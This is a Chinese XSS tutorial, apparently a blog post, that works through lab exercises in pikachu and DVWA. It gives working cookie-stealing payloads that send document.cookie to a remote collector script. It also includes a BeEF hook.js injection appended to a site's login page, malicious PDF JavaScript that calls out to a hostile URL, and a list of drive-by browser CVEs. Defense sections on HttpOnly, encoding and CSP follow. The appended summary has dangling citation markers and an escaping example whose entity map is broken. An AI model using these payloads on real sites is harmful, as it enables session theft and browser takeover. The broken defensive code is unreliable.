XSS盲打与cookie劫持

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

XSS盲打(加载远程攻击payload)

XSS偷cookie

cookie收集

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

安装和使用

XSS 一些实战应用

1. XSS PDF

2. 公网投毒

3. 网站挂马

XSS防御

HttpOnly

输入检查

输出检查


【学习目标、重难点知识】

【学习目标】

  1. XSS盲打
  1. XSS收集平台
  1. BeFF框架的使用
  1. 在线XSS收集平台的使用

【重难点知识】

  1. XSS收集平台的使用
  1. 在线XSS收集平台的使用

XSS盲打(加载远程攻击payload)

盲打的意思就是指:在看不见XSS内容提交后的输出的情况下,强制把xss脚本提交上去。此种情况多出现在留言板,问题反馈等可以在后台查看的情况下,当我们的管理员或客服打开网页的时候,就此中招。

以pikachu的xss盲打为例子,在留言的时候,如留下的是XSS的代码,这些代码窃取了会话session,而后台如果没有对这些xss代码进行过滤,问题就此产生。

XSS后台很多,也很好用,包括xssme pkxss 等等。我们可以在pikachu靶场里看到有xss的集成平台。

XSS偷cookie

前期准备

利用过程

    • cookie.php,需要get将cookie内容传过来
  • 如何让受害者去访问?
  • 让受害者执行我们的JS代码
  • 如何让受害者执行?
  • 找xss漏洞,将代码插入到目标网站

<script>document.location='http://pkxss/xcookie/cookie.php?cookie=cookie'%2bdocument.cookie</script>			//注意,符号+,要改成%2b

  • 受害者执行完之后,会重定向到我们设置的安全网站

  • 这个时候受害者执行js代码之后,就会将cookie,发送到目标服务器上,目标服务器用cookie.php接收cookie信息

  • 注意,cookie.php中重定向网站要自己修改,改成目标自己的站点


cookie收集

重定向到另一个可信网址 让点击者 不知情。

注意这个地方这个cookie.php的文件位置,我们要访问这个收集cookie的文件路径应该是:

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookie的payload:

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>

接下来在反射性XSS中试一试:


获得的结果:

可以get反射型XSS构建一个欺骗用户点击的链接:

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='+document.cookie;">&submit=submit

注意:+会被过滤 , 用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img src=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php?cookie='%2Bdocument.cookie;">&submit=submit

访问之后:

在线XSS收集平台的使用

1. BeeF框架的使用

BeeF简介

BeeF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。

BeeF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上 就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeeF持有者可以通过浏览器来 登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

安装和使用
安装教程:https://www.cnblogs.com/xfbk/p/17936987

我们主要在docker中去使用,安装完docker并启动后,我们搜索BeeF框架的镜像:

然后拉取下来:

然后直接启动docker:

docker run -d --name beef -p 3000:3000 janes/beef

现在,我们通过浏览器打开BeEF的界面:

http://xxx.xxx.xxx.xxx:3000/ui/authentication 默认账号密码:beef/beef

此时,我们已经进入了BeEF页面里面,但是发现什么都没有。 最后我们要设置一个钩子,将下面这段代码保存为beef.html:

<html> 
  <head>    
    <title>BeEF测试</title> 
  </head> 
  <body>    
    <script src="http://192.168.119.129:3000/hook.js"></script>

  </body> 
</html>

这是一个最简单的例子,<script>标签的src属性指向的是BeEF的钩子,其中里面的地址大家根据自己实际情况更改。也可以直 接将这个路径贴到浏览器中,看看这个JS代码。

接下来访问这个文件,就可以看到主机上线:

这就类似一个远控木马,别人点击了你的链接就能操控他的浏览器了,还能执行很多命令,命令菜单不多,大家都点点看看吧。

XSS 一些实战应用

1. XSS PDF

  • 首先我们需要制作一个恶意的 pdf 文件,大多有三种方式:
    • 迅捷 PDF 编辑器(推荐)
    • Adobe Acrobat DC
    • Python 脚本嵌入

  • 然后选中缩略图,点击属性,此时在右侧可以看到属性栏:

  • 新增运行 JavaScript:

  • 在弹出的 JavaScript 编辑器对话框中输入以下代码,然后保存文件:
app.alert("恶意代码");通过弹出恶意警告框来干扰用户或欺骗用户。

this.exportDataObject({ cName: "恶意文件", nLaunch: 2, cDIPath: "http://恶意网站/恶意文件" });通过导出数据对象来触发恶意文件的下载或执行。

this.submitForm({ cURL: "http://恶意网站/恶意脚本" });通过提交表单来触发恶意脚本的执行。

注:之所以不是 alert('xss'),这是因为Adobe支持自身的 JavaScript 对象模型,利用 JavaScript 进行攻击时只能使用 Adobe 所支持的功能。

  • 现在恶意文件已经制作完成,使用浏览器打开:

  • 但也不是所有浏览器都会弹:
    • Chrome(弹)
    • Edge(弹)
    • QQ(弹)
    • Firefox(不弹)
    • IE(不弹)
  • 同样的 PDF 内的 JS 是被大幅阉割过的,不存在能够获取 cookie 等问题。

2. 公网投毒

  • 在站点中嵌入 xss 代码,每个访问者都将进行回连(供应链攻击)。
  • 公网自建站点(DVWA + BeEF):
docker run -itd -p 81:80 --name dvwa citizenstig/dvwa:latest
  • 在 login.php 处添加代码:
docker exec -it dvwa /bin/bash
echo '<script src="http://10.10.8.21:3000/hook.js"></script>' >> /var/www/html/login.php
  • 查看结果:
root@e7e481b84bad:/# tail -n 1 /var/www/html/login.php
<script src="http://10.10.8.21:3000/hook.js"></script>
  • 当我们访问 DVWA 登录页面时,BeEF 就已经上线了:

3. 网站挂马

  • 对方访问站点后直接造成权限获取,一般都是利用浏览器漏洞(0 day),常用漏洞有:
    • ms14-064(CVE-2014-6332)
    • CVE-2018-8174
    • CVE-2019-1367
    • CVE-2021-21220
    • CVE-2023-4863
  • 参考页面:

CVE-2021-21220(Chrome)漏洞复现 | Yongz丶

XSS防御

HttpOnly

HttpOnly 最早由微软提出,浏览器将禁止页面的JavaScript访问HttpOnly属性的Cookie。HTTPOnly 并未要对抗XSS,HTTPOnly 解决的是XSS后的Cookie劫持攻击。在使用了HTTPOnly之后,会使这种攻击失效。

使用了HttpOnly之后就没有办法偷取cookie了。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");


Set-Cookie : uid=112; Path=/; HttpOnly



cookie:

输入检查

常见的web漏洞都要求攻击者构造一些特殊字符,这些特殊字符可能是常规用户不会用到的,所以输入检查就很有必要了。在XSS防御上一般就是检查用户输入数据中是否包含一些特殊字符,如<、>、"、' 如果发现这些特殊字符将这些关键字符过滤或者编码。

比较智能的检查还可以匹配XSS 的特征,比如查找用户数据中是否包含了

输出检查

除了富文本的输出之外,在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击。

  • HTML代码的编码方式是HtmlEncode。
  • PHP中有htmlentities()和htmlspecialchares() 这两个函数可以满足安全要求
  • Javascript 可以使用JavascriptEncode。
  • 在Django自带的模板系统中,可以使用escape进行htmlencode,并且在Django 1.0中默认所有变量都会被escape。
  • web2py中,也默认escape了所有变量。
### XSS攻击概述 XSS(Cross-Site Scripting),即跨站脚本攻击,是一种常见的Web安全漏洞。这种攻击允许攻击者通过注入恶意脚本的方式,在受害者的浏览器中执行未经授权的操作[^3]。 #### 存储型XSS 存储型XSS是指攻击者将恶意代码永久存储在目标服务器上,当其他用户访问受影响的页面时,这些恶意代码会被加载并执行。这种方式的特点在于其持久性和广泛的影响范围[^1]。 #### 反射型XSS 反射型XSS通常发生在用户点击一个含有恶意链接的时候,该链接中的恶意脚本会在请求返回给用户的HTML响应中被执行。这类攻击依赖于用户交互行为来传播和生效[^5]。 #### DOM型XSS DOM型XSS不同于前两种类型,因为它完全基于客户端JavaScript操作文档对象模型(DOM),而不涉及向服务器发送任何特殊的数据流。这意味着即使应用本身可能已经采取了一些措施保护HTTP层免受传统形式的XSS侵害,但如果存在不当修改DOM节点的行为,则仍有可能遭受此类攻击。 --- ### XSS盲打及其防护方法 XSS盲打指的是攻击者无法直接看到自己所提交数据的具体呈现效果但仍尝试发起攻击的情形。例如,在某些情况下,攻击者可能会试图窃取管理员账户的信息却不知道自己的输入是否会成功显示出来[^2]。 对于上述提到的各种类型的XSS攻击以及更复杂的场景如盲打情况下的防御策略主要包括以下几个方面: #### 输入验证过滤 确保所有来自外部源的数据都经过严格的校验过程,拒绝不符合预期模式的内容进入系统内部逻辑链路之中。具体做法可以包括但不限于黑名单机制(阻止已知危险字符组合) 和白名单机制 (仅接受预定义的安全字符串集合)。 ```python import re def sanitize_input(user_input): pattern = r'^[a-zA-Z0-9\s]+$' # Example of a simple whitelist regex if not re.match(pattern, user_input): raise ValueError("Invalid input detected.") return user_input ``` #### 输出编码转义 无论何时何地都将动态生成的部分按照相应上下文中所需的标准格式重新表达一遍再输出至前端界面供展示用途即可有效规避大部分常规意义上的XSS风险隐患。 ```html <!-- HTML Entity Encoding --> <script> function escapeHtml(text){ var map={ '&':'&', '<':'<', '>': '>' }; return text.replace(/[&<>]/g,function(m){return map[m];}); } </script> <div id="output"></div> <button onclick="document.getElementById('output').innerHTML=escapeHtml(prompt('Enter something'));">Click Me!</button> ``` #### HTTP头部设置 启用Content Security Policy(CSP),这是一种额外的安全层次结构用来检测并减轻诸如SQL注入(SQLi)及跨站点脚本(XSS)之类的代码注入攻击[^4]。 ```apacheconf Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none'" ``` #### 安全意识培训 定期开展针对开发人员和技术支持团队成员关于最新威胁趋势的知识更新课程有助于提高整体安全性水平。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苏苏渗透大师

请把钱砸我脸上谢谢

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值